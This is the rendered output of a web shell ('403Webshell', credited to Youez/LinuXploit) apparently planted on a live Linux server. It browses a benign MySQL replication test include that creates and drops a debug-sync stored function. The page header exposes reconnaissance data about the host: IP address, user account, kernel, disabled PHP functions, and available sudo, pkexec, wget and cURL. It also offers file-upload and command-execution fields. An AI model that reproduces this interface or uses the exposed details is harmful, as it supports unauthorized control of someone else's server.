403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/mysql/mysql-test/suite/rpl/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/mysql/mysql-test/suite/rpl/include/create_or_drop_sync_func.inc
# Creates or drops a stored function as a part of debug-sync based
# synchronization mechanism between replication servers.
#
# Parameters:
# $create_or_drop= [create]
# $server_master = [master]
# $server_slave  = [slave]
if (!$create_or_drop)
{
  --let $create_or_drop=create
}

if (`select strcmp('$create_or_drop', 'create') = 0`)
{
	if (!$server_master)
	{
		--let $server_master=master
	}
	if (!$server_slave)
	{
		--let $server_slave=slave
	}

	--connection $server_master
	# Use a stored function to inject a debug_sync into the appropriate THD.
	# The function does nothing on the master, and on the slave it injects the
	# desired debug_sync action(s).
	SET sql_log_bin=0;
	--delimiter ||
	CREATE FUNCTION foo(x INT, d1 VARCHAR(500), d2 VARCHAR(500))
  	RETURNS INT DETERMINISTIC
  	BEGIN
			RETURN x;
  	END
	||
	--delimiter ;
	SET sql_log_bin=1;

	--connection $server_slave

	SET sql_log_bin=0;
	--delimiter ||
	CREATE FUNCTION foo(x INT, d1 VARCHAR(500), d2 VARCHAR(500))
  	RETURNS INT DETERMINISTIC
  	BEGIN
			IF d1 != '' THEN
      	 SET debug_sync = d1;
		  END IF;
    	IF d2 != '' THEN
      	 SET debug_sync = d2;
      END IF;
    RETURN x;
 	END
	||
	--delimiter ;
SET sql_log_bin=1;
}

if (`select strcmp('$create_or_drop', 'drop') = 0`)
{
	if (!$server_slave)
	{
		--let $server_slave=slave=
	}
  if (!$server_master)
	{
		--let $server_master=master
	}
	--connection $server_slave
  SET DEBUG_SYNC='RESET';

  --connection $server_master
  SET DEBUG_SYNC='RESET';
	DROP FUNCTION foo;
}

Youez - 2016 - github.com/yon3zu
LinuXploit